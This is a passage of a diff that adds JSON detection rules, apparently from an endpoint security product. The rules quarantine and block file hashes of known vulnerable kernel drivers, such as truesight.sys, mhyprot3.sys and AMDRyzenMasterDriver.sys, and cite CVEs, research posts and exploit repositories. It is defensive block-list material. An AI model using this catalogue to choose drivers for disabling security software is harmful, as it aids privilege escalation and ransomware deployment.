+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1de14c1e-662a-58d6-b0cd-1297f6cac62a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141237Z",
+  "creation_date": "2026-03-23T11:45:31.141239Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141245Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "438baa1b1dffc3c86b75c6506ba92a53741cd9d5fd7e6460b6e7fd151e25f51d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1de217d1-f1f8-5bdb-923b-3da5c275b1c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818906Z",
+  "creation_date": "2026-03-23T11:45:30.818908Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818914Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d9674a1364fde6b5e7fb1770bdebb8db7de8e15f3c976e5c5102775c95452967",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1dfb65ca-96c4-5e34-a158-5b6f7ef5710c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828703Z",
+  "creation_date": "2026-03-23T11:45:30.828705Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828710Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a18bb92e104e9f6de178c88f72866b365d9ec5d0d3868b0539900dfa3d25ed39",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1dffe9b1-2cf3-55ee-a109-8f5a07a1d918",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982520Z",
+  "creation_date": "2026-03-23T11:45:29.982522Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982528Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "64f9e664bc6d4b8f5f68616dd50ae819c3e60452efd5e589d6604b9356841b57",
+  "comment": "Vulnerable Kernel Driver (aka 1.sys) [https://www.loldrivers.io/drivers/a5792a63-ba77-44ac-bd4a-134b24b01033/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1e02357b-1664-56cb-b1b9-effe08dcd95a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820086Z",
+  "creation_date": "2026-03-23T11:45:30.820089Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820096Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8b6251a1883c5ed03ecdead8322e7d8105d075fef160abfe763d5873484b2a27",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1e096492-1e83-521b-a177-21d1afc6687c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972595Z",
+  "creation_date": "2026-03-23T11:45:29.972596Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972602Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d0e25b879d830e4f867b09d6540a664b6f88bad353cd14494c33b31a8091f605",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1e0b8d47-61f1-50c3-89ab-dff32d62b19b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143798Z",
+  "creation_date": "2026-03-23T11:45:32.143800Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143805Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7326aefff9ea3a32286b423a62baebe33b73251348666c1ee569afe62dd60e11",
+  "comment": "Vulnerable Kernel Driver (aka ACE-BASE.sys) [https://www.loldrivers.io/drivers/ff77b58d-e143-4f61-92de-c0d9bc0af7d5/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1e2dfd73-268e-53d1-bfdd-5a4de544a39e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822465Z",
+  "creation_date": "2026-03-23T11:45:31.822468Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822477Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3bbfdefb8c8a7d0e7b0480ec06ad01b65ef056aea7e4fa2f0e8771e419a06b56",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1e32aa28-50b7-50c4-9272-022994920873",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608492Z",
+  "creation_date": "2026-03-23T11:45:29.608494Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608499Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7539157df91923d4575f7f57c8eb8b0fd87f064c919c1db85e73eebb2910b60c",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1e352c2f-4a29-5b28-91d7-635b79f954a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453813Z",
+  "creation_date": "2026-03-23T11:45:30.453817Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453825Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "516e39dcf7480de4bb86727321c099605a34a54f1d5b3a4aa6dc4bcf260274c9",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1e448bed-2862-5091-b10f-6fa28a072e9c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818161Z",
+  "creation_date": "2026-03-23T11:45:31.818164Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818172Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aa3ebaa9faedddbeae1a80cc1953e79d1f6fae716e5f374f5bdf08015491a56e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1e44b3a9-1542-5155-bc68-7b7f5b75118c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974143Z",
+  "creation_date": "2026-03-23T11:45:29.974145Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974151Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee3ff12943ced401e2b6df9e66e8a0be8e449fa9326cab241f471b2d8ffefdd7",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1e488398-47e6-5fff-b179-c128384c7dc0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827103Z",
+  "creation_date": "2026-03-23T11:45:31.827105Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827111Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "624209252a70280a29d50cea1bed6f118a73b6558480659efb0bbad5c833ac8b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1e5827c0-508a-5997-85c0-f31ad87a265f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618841Z",
+  "creation_date": "2026-03-23T11:45:29.618843Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618849Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "48567fa742841208d4f93f54031218703241baec6f59b1e4ab8a71c26de1cf85",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1e6ce154-d886-51ed-acde-19aa0a7f6453",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144322Z",
+  "creation_date": "2026-03-23T11:45:31.144324Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144330Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ba164f28ac3703908f8b0e61f11a79eb5100bddbea25c4c89b1072b645434734",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1e6df447-77bd-511e-b40f-1df267127b3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452187Z",
+  "creation_date": "2026-03-23T11:45:30.452190Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452199Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b617a072c578cea38c460e2851f3d122ba1b7cfa1f5ee3e9f5927663ac37af61",
+  "comment": "Vulnerable Kernel Driver (aka mhyprot3.sys) [https://www.loldrivers.io/drivers/2aa003cd-5f36-46a6-ae3d-f5afc2c8baa3/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1e8a1f4b-3cd2-5790-bfcd-56eeed9ca8c2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817523Z",
+  "creation_date": "2026-03-23T11:45:30.817525Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817531Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b84dc9b885193ced6a1b6842a365a4f18d1683951bb11a5c780ab737ffa06684",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1e8e0530-5ce1-5e53-9fa0-28da7970fd31",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145765Z",
+  "creation_date": "2026-03-23T11:45:31.145767Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145772Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2279f01c81a67657cc33fde99b28d968c34228e6422a90b3ba9ed91b9f66ec9b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1e91be74-901b-578e-80b0-ebc824923841",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975237Z",
+  "creation_date": "2026-03-23T11:45:29.975239Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975244Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f05359fe5793e947711c72cc8413e3b1d96c8a54eaafe4803827c4414f2f8e85",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1e9861ad-bac2-53fc-ae1c-038cebb2487f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810503Z",
+  "creation_date": "2026-03-23T11:45:31.810505Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810511Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a3a27a487d55d95821df5a311b44942cb18cfb7b917530d73b08f41e25cf218c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1e9f3bf4-6626-55a2-9d5d-bb40c4bdeaa3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.147150Z",
+  "creation_date": "2026-03-23T11:45:32.147152Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.147158Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "78ccae1341d6546c9d238e824a2261a961bd9a843f6d951d649fbc09ad0e01a0",
+  "comment": "Vulnerable Kernel Driver (aka BdApiUtil64.sys) [https://blog.talosintelligence.com/byovd-loader-deadlock-ransomware/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1eab2acf-25ab-5817-81e0-b0a2dc584930",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615554Z",
+  "creation_date": "2026-03-23T11:45:29.615557Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615562Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5eb233ed9df3c1def326e2c63ee304dc85af303f8c9f038c993aa6e34f91ffaf",
